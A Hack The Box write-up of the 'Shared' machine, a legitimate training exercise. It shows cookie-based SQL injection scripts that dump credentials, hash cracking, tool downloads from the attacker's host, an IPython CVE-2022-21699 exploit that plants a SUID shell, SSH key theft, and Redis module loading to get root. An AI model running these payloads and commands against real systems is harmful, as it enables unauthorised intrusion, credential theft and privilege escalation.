HTB • Shared
Shared is a medium Linux machine created by Nauten on Hack The Box that features a website with a virtual hostname that is vulnerable to SQL injection. Successful exploitation of this vulnerability provides us with the password for a user called james_mason. With these credentials we are able to login via SSH and elevate privileges to a user called dan_smith by exploiting a cron job that uses a version of ipython that is vulnerable to CVE-2022-21699. We then reverse-engineer an executable using both static and dynamic analysis to recover the password for the local Redis service. The Redis process is running as root, so we load a special shared object module using LOAD MODULE
to execute commands as root.
Initial Recon
Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost
The scan reports that the SSH service, HTTP service, and HTTPS service are running on ports 22, 80, and 443 respectively.
Web Recon
Upon visiting port 80, we are redirected to shared.htb. Let’s add this hostname to our /etc/hosts
file with the corresponding IP address.
1
2
echo 'vhost=("shared.htb")' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts
Now we’ll visit https://shared.htb/ in a browser session being proxied through the BurpSuite HTTP proxy.
Walking the Application
When exploring the content of the website, we eventually discover the checkout page at /index.php?controller=cart&action=show. When we hover over the checkout button, we can see that it will send us to https://checkout.shared.htb. Let’s add this virtual hostname to our /etc/hosts
file so we can view its content.
1
sudo sed -E -i 's/(shared.htb).*/\1 checkout.\1/' /etc/hosts
Now when we add an item to our cart and navigate to /index.php?controller=cart&action=show, we’ll click the checkout button to be redirected to the checkout site.
checkout.shared.htb web index page
Investigating Functionality
It’s interesting how this site is able to determine which item we had in our cart considering we did not supply any HTTP GET or POST parameters. Let’s investigate.
Looking at the initial request we sent to the checkout site in the BurpSuite site map, we can see that our request contains an unusual cookie called custom_cart. The value of this cookie can be automatically decoded by highlighting it, revealing a JSON object with the product code and quantity of the checkout item.
We find a mysterious cookie in BurpSuite
We can infer that the site uses the supplied product code in custom_cart to find the price of the item since we do not supply the price, but only the product code. This activity is likely handled by some type of database solution such as an SQL server. With this in mind, we can check if this functionality is vulnerable to SQL injection.
Vulnerability Discovery
Let’s input some basic SQL injection payloads to the cookie in the BurpSuite repeater tab to see if SQL injection is possible.
The server’s response to a common SQL injection payload
1
{"CRAAFTKP'#":"1"}
The response to the first payload suggests that SQL injection is possible but we can make sure by sending a payload that should evaluate to false, and one that should be true.
1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
from urllib.parse import quote
from sys import argv
if len(argv) == 2:
sqli = argv[1]
sqli = sqli.replace('\\', '\\\\')
sqli = sqli.replace('"','\\"')
print(quote('{"' + argv[1] + '":"1"}'))
1
2
3
4
5
6
7
chmod +x makepayload.py
true=$(./makepayload.py "' OR 1=1#") # Always resolves to true
false=$(./makepayload.py "' AND 1=2#") # Always resolves to false
url="https://checkout.shared.htb"
curl -k -s $url -b "custom_cart=$true" | sed 's/^ *//' > true.html
curl -k -s $url -b "custom_cart=$false" | sed 's/^ *//' > false.html
This should leave you with two files called false.html
and true.html
. To find the difference between the two response bodies we can use diff
.
1
diff false.html true.html
1
2
3
4
5
6
7
8
9
10
11
12
37,39c37,39
< <td>Not Found</td>
< <td>0</td>
< <td>$0,00</td>
---
> <td>53GG2EF8</td>
> <td>1</td>
> <td>$23,90</td>
45c45
< <th scope="col">$0,00</th>
---
> <th scope="col">$23,90</th>
The false query returns “Not Found” and zero values for the quantity and price while the true query returns a product entry. This is definitely enough evidence of an SQL injection vulnerability to begin exploitation.
Web Exploitation
We have already determined that boolean-based blind SQL injection is possible with the true and false queries, but there is a good chance we can use UNION SELECT
queries to exfiltrate database values without having to use a side-channel.
Union Query Exfiltration
Let’s first find the number of columns in the original query so we can match it in our UNION SELECT
extension.
1
2
3
4
5
payload=$(./makepayload.py "' UNION SELECT 'c0lumn1','c0lumn2','c0lumn3'#")
curl -k -s "https://checkout.shared.htb" -b "custom_cart=$payload" | \
sed 's/^ *//' |
egrep '</?td>'
1
2
3
<td>c0lumn2</td>
<td>1</td>
<td>$</td>
Notice how the response contains the value we sent in the second column. This means we can extract data through the second column. Now let’s create a script to get any raw value from the database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
[ -z "$SELECT" ] && echo "SELECT=* FROM=* WHERE=* $0" && exit
payload="' UNION SELECT '',$SELECT,''"
[ -z "$FROM" ] || payload="$payload FROM $FROM"
[ -z "$WHERE" ] || payload="$payload WHERE $WHERE"
echo $payload
payload=$(./makepayload.py "$payload#")
curl -k -s "https://checkout.shared.htb" -b "custom_cart=$payload" |
egrep '</?td>' |
head -1 |
sed -E 's/^ *<td>(.*)<\/td>$/\1/'
Then we can see if we can get the available database names. Remember that this database is probably MySQL because the #
comment is working.
1
2
3
4
chmod +x sqli.sh
SELECT="group_concat(schema_name)" \
FROM="information_schema.schemata" \
./sqli.sh
1 information_schema,checkout
There is a database called checkout that we should explore. Let’s find the names of its tables.
1
2
3
4
SELECT="group_concat(table_name)" \
FROM="information_schema.tables" \
WHERE="table_schema='checkout'" \
./sqli.sh
1 user,product
The user table seems interesting. Let’s find the column names and dump the table contents.
1
2
3
4
SELECT="group_concat(column_name)" \
FROM="information_schema.columns" \
WHERE="table_name='user'" \
./sqli.sh
1 id,username,password
1
2
3
SELECT="group_concat(concat(id,0x7c,username,0x7c,password))" \
FROM="checkout.user" \
./sqli.sh
1 1|james_mason|[REDACTED]
There is only one result, but we got what looks like an MD5 hash in the password column for the user james_mason.
Shell as james_mason
Let’s try to crack the hash using John the Ripper
1
2
3
4
5
6
# bryan@attacker
hash="" # Hash here
echo "james_mason:$hash" > md5.john
john md5.john \
--format="raw-md5" \
--wordlist="rockyou.txt" # classic rockyou.txt wordlist
Using these credentials on the target’s SSH server will land us a shell as james_mason.
1
2
# bryan@attacker
ssh "james_mason@$rhost"
There is no user flag in our home directory so we might need to do some lateral movement.
Lateral Movement
We will be using LinPEAS from PEASS-ng to look for any useful information on the machine. We will also be using pspy to snoop on processes.
1
2
3
4
5
6
7
# bryan@attacker
lhost="10.10.14.10" # Listener host
cd $(mktemp -d)
wget \
"https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64" \
"https://github.com/carlospolop/PEASS-ng/releases/download/20220522/linpeas.sh"
php -S $lhost:80
1
2
3
4
5
# james_mason@shared.htb (SSH)
lhost="10.10.14.10" # Attacker's IP address
mkdir .sneak && cd .sneak
wget "http://$lhost/pspy64" "http://$lhost/linpeas.sh"
bash ./linpeas.sh | tee linpeas.log
We don’t get anything that blatantly stands out in the LinPEAS output. Let’s try running PSpy for a few minutes.
1
2
3
# james_mason@shared.htb (SSH)
chmod +x pspy64
timeout 3m ./pspy64 | tee pspy.log
Looking at the output, user ID 0 and user ID 1001 seem to be running routine commands. UID 0 is root and User ID 1001 turns out to be user dan_smith, declared in /etc/passwd
. It can be noted that dan_smith runs an interesting command every minute.
1 /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
The user enters the /opt/scripts_review
directory and executes /usr/local/bin/ipython
.
CVE-2022-21699
After doing some research into ipython
, we come across a vulnerability advisory that details a code execution flaw.
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Let’s check if the version on the machine is vulnerable.
1
2
# james_mason@shared.htb (SSH)
/usr/local/bin/ipython --version
The version is 8.0.0, which is vulnerable. Since the routine command executed by dan_smith is run in the /opt/scripts_review
directory, we could exploit the vulnerability if /opt/scripts_review
is writable.
1
2
# james_mason@shared.htb (SSH)
ls -la /opt/scripts_review
It is writable by those in the developer group. According to the output of the id
command, our current user is actually part of this group.
Exploitation
Let’s test our hypothesis by following the instructions in the advisory to execute code as dan_smith.
1
2
3
4
5
6
7
8
#!/bin/bash
exploitdir="/opt/scripts_review"
cmd="cp /bin/sh /tmp/dan_smith_sh;chmod a+xs /tmp/dan_smith_sh"
mkdir -m 777 "$exploitdir/profile_default"
mkdir -m 777 "$exploitdir/profile_default/startup"
echo "__import__('os').popen('$cmd')" > "$exploitdir/profile_default/startup/x.py"
After running the script and waiting a minute, our SUID shell should be at /tmp/dan_smith_sh
.
1
2
# james_mason@shared.htb (SSH)
/tmp/dan_smith_sh -p
Privilege Escalation
The first flag is located at /home/dan_smith/user.txt
Stabilizing Shell
Let’s copy the contents of /home/dan_smith/.ssh/id_rsa
over to the attacker machine and use it to log in as dan_smith via SSH to get a more stable shell.
1
2
3
# bryan@attacker
chmod 600 dan_smith_id_rsa
ssh -i dan_smith_id_rsa "dan_smith@$rhost"
Enumeration
When running the id
command, we learn that our current user is part of the sysadmin group. Let’s see what this group has special access to.
1
2
# dan_smith@shared.htb (SSH)
find / -group sysadmin 2>/dev/null
1 /usr/local/bin/redis_connector_dev
One file at /usr/local/bin/redis_connector_dev
is returned. This file probably has something to do with a key-value data storage solution known as Redis. When we execute /usr/local/bin/redis_connector_dev
, it prints a log message saying “Logging to redis instance using password” and what looks like the output of the INFO Server
redis query.
Redis
Let’s gather some basic info on the file and see what’s going on behind the scenes.
1
2
# dan_smith@shared.htb (SSH)
file /usr/local/bin/redis_connector_dev|tr ',' '\n'
Based on the output of the file
command, we can note a few things about the file:
- It is an ELF x86-64 executable
- It was built with a Go compiler (hence the Go BuildID)
- It is not stripped
Finding the Password
Since the Redis RESP protocol operates in plaintext, we might be able to capture the password. First, let’s copy the file to the attacker machine.
1
2
3
# bryan@attacker
scp -i dan_smith_id_rsa "dan_smith@$rhost:/usr/local/bin/redis_connector_dev" .
chmod +x redis_connector_dev
Running the file on the attacker machine, we get an error complaining that TCP port 6379 is closed on the loopback address. We can open that port by running nc
in a separate tab.
1
2
# bryan@attacker
nc -lv 127.0.0.1 6379
Now if we run ./redis_connector_dev
we get some output to the listener.
1
2
3
4
5
6
Connection received on localhost 35468
*2
$4
auth
$16
[REDACTED]
The strings auth and [REDACTED] are passed. Given the circumstances, the second string seems like it may be the password so let’s try using that with the redis-cli
command back on the target machine.
1
2
# dan_smith@shared.htb (SSH)
redis-cli -a "$password" INFO server
The INFO server
command is successfully executed. While running some extra enumeration commands we find out that the redis store is pretty much empty.
1
2
# dan_smith@shared.htb (SSH)
redis-cli -a "$password" INFO keyspace
After some research on redis, we come across this page which presents different methods of achieving RCE on a redis server. This is useful for us because the user running the redis server is root meaning we will execute commands as root if RCE is possible.
Loading Modules
One method is to load a special shared object file using MODULE LOAD
query. We can build the shared object from this source code on the attacker machine, then copy module.so
to the target.
1
2
3
4
5
# james_mason@shared.htb (SSH)
command="cp /bin/sh /root_sh;chmod a+xs /root_sh"
redis-cli -a "$password" MODULE LOAD ~/module.so &&
redis-cli -a "$password" system.exec "$command"
/root_sh -p
Running this should land us a shell as root where the last flag can be found at /root/root.txt